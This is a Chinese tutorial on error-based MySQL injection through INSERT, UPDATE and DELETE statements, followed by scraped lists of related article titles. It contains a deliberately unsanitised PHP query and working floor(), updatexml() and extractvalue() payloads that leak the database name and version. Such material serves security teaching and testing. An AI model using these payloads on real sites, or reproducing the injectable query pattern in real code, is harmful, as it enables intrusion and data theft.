select 查询数据(大部分)

  在网站应用中进行数据显示查询操作

insert 插入数据

  在网站应用中进行用户注册添加等操作

delete 删除数据

  后台管理里面删除文章删除用户等操作

update 更新数据

  数据同步缓存等操作

通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式

注意:扫描工具一般不能扫描到insert,updata,delete命令的注入点,因为交互过程复杂,涉及到用户登录状态,用户行为交互等方面,这就需要手工测试了

模拟网站环境执行SQL命令:

本地模拟网站输入用户名

<?php
$id=$_GET['i'];
$users=$_GET['u'];
$pass=$_GET['p']; $sql="insert into users (id,name,password) values ('$id','$users','$pass');";
echo $sql; ?>

指定u参数即可生成插入数据库的SQL命令

同时在任意数据库中新建以下表:

insert语句

INSERT INTO 语句用于向表格中插入新的行。

语法
INSERT INTO 表名称 VALUES (值1, 值2,....)

我们也可以指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

floor()报错演示Payload:

insert插入命令:

一般出现在注册是新建昵称等插入文字的地方

本地参数u中用户名输入:

Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '

执行的完整SQL语句

insert into users (id,name,password) values ('','Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '','');

复制到SQL数据库中执行

可以看到执行之后显示出数据库名

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;

数据库执行

delete命令
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a);

updatexml()报错演示Payload

insert命令:

用户名输入:

Olivia' or updatexml(1,concat(0x7e,(version())),0) or '

复制去数据库执行


可以看到把数据库的版本查询出来了

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set password='Olivia' or  updatexml(1,concat(0x7e,(version())),0) or '' where id=2;

delete命令
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';

extractvalue()报错演示Payload

insert命令:

用户名输入:

Olivia' or extractvalue(1,concat(0x7e,database())) or '

update命令
update users set password='Olivia' or extractvalue(1,concat(0x7e,database())) or '';

delete命令
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';

文章参考https://www.cnblogs.com/babers/articles/7252401.html

MySQL三种报错注入方式下的insert,update,delete命令注入示例的更多相关文章

  1. MySQL 三种关联查询的方式: ON vs USING vs 传统风格

    看看下面三个关联查询的 SQL 语句有何区别? 1SELECT * FROM film JOIN film_actor ON (film.film_id = film_actor.film_id) 2 ...

  2. Laravel:php artisan key:generate三种报错解决方案,修改默认PHP版本(宝塔面板)

    为了兼容N多个网站,服务器上有3个PHP版本5.3/5.6/7.2.宝塔默认为5.3,但是laravel5.7并不支持,所以在创建线上 .env 环境配置文件,初始化应用配置时候报错了. cp .en ...

  3. mysql三种修改密码的方式

    [root@MySQL ~]# mysqladmin -uroot -proot -S /data/3307/mysql.sock password '123'; 其中-p是现在的密码,passwor ...

  4. Linux下登陆MySQL时遇到报错"RROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) "

    前言 作者在2021-07-21时遇到 linux下登陆MySQL时遇到报错"RROR 1045 (28000): Access denied for user 'root'@'localh ...

  5. MySQL中遇到的几种报错及其解决方法

    MySQL中遇到的几种报错及其解决方法 1.[Err] 1064 - You have an error in your SQL syntax; check the manual that corre ...

  6. python︱模块加载(pip安装)以及pycharm安装与报错解决方式

    每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 准备放下R开始学python,真是痛苦,因为找 ...

  7. Spring中三种配置Bean的方式

    Spring中三种配置Bean的方式分别是: 基于XML的配置方式 基于注解的配置方式 基于Java类的配置方式 一.基于XML的配置 这个很简单,所以如何使用就略掉. 二.基于注解的配置 Sprin ...

  8. mysql三种带事务批量插入

    原文:mysql三种带事务批量插入 c#之mysql三种带事务批量插入 前言 对于像我这样的业务程序员开发一些表单内容是家常便饭的事情,说道表单 我们都避免不了多行内容的提交,多行内容保存,自然要用到 ...

  9. Request三种获取数据的方式

    今天在做ajax请求后台代码时,发现ajax的方法都对,但就是请求不了后台代码,后来在同事帮助下才发现前台定义了两个相同参数导致请求出错. 下面记录一下request三种获取数据的方式: 1. Req ...

随机推荐

  1. 2019HDU多校第七场 HDU6651 Final Exam

    一.题目 Final Exam 二.分析 题目说的比较绕,总之一定要记住,$n$个题目都可以做,至少作对$k$到,但是做题目的人不知道每道题对应的分数. 作为出题人,如果他是田忌,肯定不会去在做题目的 ...

  2. ASP.NET .Core 集成 React SPA 应用

    AgileConfig的UI使用react重写快完成了.上次搞定了基于jwt的登录模式(AntDesign Pro + .NET Core 实现基于JWT的登录认证),但是还有点问题.现在使用reac ...

  3. MyBatis-Plus【踩坑记录01】

    不要使用Mybatis原生的SqlSessionFactory,而应使用MybatisSqlSessionFactory. 原因 依赖关系如下 因此会在使用Mybaits-Plus时默认的时Mybat ...

  4. x86汇编 条件跳转

    条件跳转表 汇编语言-条件跳转指令 直接转移指令 指令格式 机器码 测试标志 条件说明 符号  JO       OPR 70  OF=1  结果有溢出    JNO      OPR 71  OF= ...

  5. OpenGL 绘制你的 github skyline 模型

    前言 好久没更新博客了,上一篇文章还是在去年6月份,乍一看居然快要过去一年了,不时还能看到粉丝数和排名在涨,可是却一直没有内容更新,怪不好意思的- -(主要是一直没想好要写些什么,中间也有过一些想法, ...

  6. webgoat白盒审计+漏洞测试

    前言 小白,记录,有问题可以交流 乖乖放上参考链接: https://www.freebuf.com/column/221947.html https://www.sec-un.org/java代码审 ...

  7. 高精度减法(c++)

    高精度减法 每当要进行精度较高的运算时,就要用到高精度. 下图是各个类型的数值范围: 如果想不起各个类型占多少字节,可以采用下面的方法: printf("%d %d",sizeof ...

  8. [BFS]最优乘车

    最优乘车 题目描述 HH 城是一个旅游胜地,每年都有成千上万的人前来观光.为方便游客,巴士公司在各个旅游景点及宾馆,饭店等地都设置了巴士站并开通了一些单程巴上线路.每条单程巴士线路从某个巴士站出发,依 ...

  9. HCL实验8:NAT搭建私有网络

    NAT 通过NAT技术,进行私有网络的搭建 拓扑图 先对路由器的端口进行配置 R1 [H3C]sys R1 [R1]INT G0/0 [R1-GigabitEthernet0/0]ip address ...

  10. OOJML系列总结

    目录 0x0 JML理论相关 0.0 概念及作用 0.1 JML语法学习 0x1 使用openJml以及JMLUnitNG 1.0 使用openjml 1.1使用JMLUnitNG 0x2 作业架构设 ...